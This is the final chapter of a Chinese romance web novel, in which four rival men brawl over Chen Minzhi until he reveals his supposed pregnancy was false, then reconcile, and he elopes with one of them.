之见平日里温润如玉的男人,此刻仿佛变了一个人,他的眼中没有怒火,只是一种无生命、无机质的冰冷,他面无表情地挥动着已经破碎的红酒瓶,一下接着一下地往秦陌脑袋上砸去。 顾明珏从未有一刻如此后悔过。 他原本的计划是徐徐图之,先做陈悯之的朋友,再做陈悯之的恋人,但秦陌把这一切计划都打乱了,他打破了平衡,率先摘下了甜美的果实,导致顾明珏不得不终止计划,先将少年从秦陌手里抢过来。 顾明珏想,他还是太心软了,早在他发现珍宝的第一眼,就该直接把他的珍宝藏起来,不让任何人看见,哪怕在必要时采取一些强硬的手段,比如修一座很大的漂亮房子,把他的珍宝给关进去。 至于觊觎少年的野狗,他应该在一开始就像陆承轩一样,把他们弄成残废,不对,他该直接杀了他们,永绝后患。 顾明珏在此之前一直沉默着,所有人都没料到他突然动手,还是下的这种狠手,像是要把人往死里打,全都愣了。 但他们转瞬就想明白了原因——顾明珏是唯一一个没参与进项目的人,他破防了。 有了第一个拿武器的,剩下三个也就不装了,反正不管陈悯之肚子里的孩子是谁的,只要把其余竞争者打废,那孩子和老婆就都能是自己一个人的。 几个男人抄凳子的抄凳子,抓扫帚的抓扫帚,秦陌没找到工具,又不能直接拿刀,最后从开放式厨房拿了一把中号平底锅加入战斗。 只听噼里啪啦的声音不断,怒骂夹杂着嘶吼,没多久家就被拆了一半。 “够了!够了!不要再打了!”陈悯之作为唯一的场外观众,崩溃地大喊道。 事实上,他刚才已经叫了很多声,只是那四条狗咬狗打得太投入,没一个听见他说话的。 陈悯之好几次想去拦住他们,却都在还没接近战局中心的时候就被人推出来,几个男人将他隔离在了战火之外,不让他受一点儿伤,却连一句他的话也不听。 陈悯之甚至有一种错觉,似乎他每叫一次,四个人不仅跟没听见一样,反而打得更疯了,仿佛他的喊声不是在阻止他们,而是激发了他们更激烈的争斗欲。 “住手!我叫你们住手!”眼看几个人身上都不同程度地挂了彩,陈悯之的声音也越来越焦急。 四个人依旧充耳不闻。 “我没有怀孕!” 陈悯之用尽浑身力气,几乎是嘶喊着叫出了这句话。 世界安静了。 四双血红的眼睛同时盯向他:“什么?” “我没有怀孕。”陈悯之耷拉着脑袋,整个人像是泄了气一样,“我去医院查过了,医生说是假孕导致激素失衡,验孕棒误测了。” 医生说,他这是一种典型的心理因素导致的生理改变的现象。 平日里经常受到心理暗示,对怀孕有强烈恐惧或者期待,中枢神经紊乱从而导致内分泌失调,就会出现这样的现象。 一开始陈悯之还有些不敢相信,对医生说:“可是我真的觉得我的肚子最近有变大呀。” 医生:“可能是吃多了,也有可能是胃肠道胀气。” 陈悯之咬了咬唇,抠着手指头,做了好一番心理建设才把话说出来:“可我的胸口就是乳、乳.晕的地方,颜色也变深了我看网上说怀孕初期就是会这样的” 医生推了推眼镜:“首先,你是个正常男的,不具备怀孕所需的条件。” “其次,性.生活太频繁,那个地方经常被咬的话,导致里面毛细血管破裂,短时间内颜色也会变深,但一般中断床.事后,不久就能恢复。” “最后,”医生抬手取下脑袋上浓密的假发,露出一个锃亮的光头,“我有三十年诊龄,还从未出现误诊的情况,在这方面你可以放心。你要是实在不信我,就去做个B超。” 最终,陈悯之拿着检查结果,失魂落魄地走出了医院。 明明从一开始就没怀上,他却感觉自己像是刚失去了一个宝宝,伤心又难过。 一片寂静中,仿佛过去了半个世纪。 卫殊率先走出来,像只犯了错事的大型犬一样,在他跟前低垂着个脑袋,讷讷地说:“老婆,我错了,我以后真的不打架了。” 剩下三个人也终于冷静下来,放下手里的武器,一个接一个地来陈悯之跟前低头认错。 陆承轩:“我错了哥哥,我以后一定都听哥哥的话,再也不惹哥哥生气了。” 顾明珏:“对不起,悯之,是我思虑不周。” 秦陌:“要不你扇我一下?” 陈悯之叹了口气,拿了块儿干净帕子打湿水,在沙发上坐下来。 他抬手,对几个鼻青脸肿的男人轻声说:“过来。” 其实都不用他叫,几个男人就巴巴地跟过来了。 陈悯之又说:“蹲下。” 四个人都乖乖蹲好后,陈悯之开始挨个给他们擦拭脸上的血污。 在他身旁的落地窗外,有一群鸟儿从黄昏玫瑰色的云彩里飞过,陈悯之的思绪落到它们的翅膀上,随之飘到了很高的地方。 在很久以前,他以为自己会有一位相爱甚笃的伴侣,会有一个活泼可爱的孩子,就这样在爱里平淡幸福地过一生。 后来,他放弃了有孩子的想法,以为自己会和恋人一起,像是一对大雁般白头到老。 可直到现在,陈悯之才真正意识到,这几个男人已经深深纠缠进他的生命,他这一辈子都无法摆脱。 他太过心软,无法抛却怜悯心赋予他的枷锁,是以注定做不了在天上自由飞翔的鸟儿,只能做拴住这几条恶犬的绳索,让他们不要再伤人,也不要再伤己。 他这辈子,虽然荒唐,但也算是得到了很多很多的爱。 这些爱痴缠、扭曲、炽热、深晦,有时沉重得让他脚步蹒跚,但无论如何,他都不再是孤身一人。 他将会一生被爱包围,被爱娇惯,在无边无垠的爱里,永远、永远地沉溺下去。 * 陈悯之是被一阵汽车鸣笛声吵醒的。 醒来时,他发现自己正坐在副驾驶上,驾驶座上则坐着卫殊。 车窗外,天还没亮透,穹顶泛着太阳升起之前的青灰色。 陈悯之懵了几秒钟:“我怎么在车上?” 他昨晚上明明是在床上睡的啊。 卫殊:“我把你抱上来的,昨晚看你太累,就没叫醒你。” 陈悯之还是一头雾水,卫殊为什么要大半夜把他抱到车上来? 他问:“我们这是要去哪里?” 卫殊说:“去只有我们两个人生活的地方。” 陈悯之愣了下,随即明白了卫殊的意思。 可他低头看了一眼自己,身上甚至还穿着睡衣,再回头看一眼车后座和后备箱,空荡荡的,发现并没有想象中大包小包的行李。 陈悯之:“行李呢?你是拿去邮寄了吗?” “没有,邮寄会留下痕迹。”卫殊转头朝他看过来一眼,“不用担心,所有东西到了地方再买。” 陈悯之还是第一次听说这种私奔方式,有些惊奇地问:“那你就什么东西都没带?” 卫殊视线看向他,忽然握住他的手,放在唇边亲了一口。 “我已经带走了我的所有。” (全文完)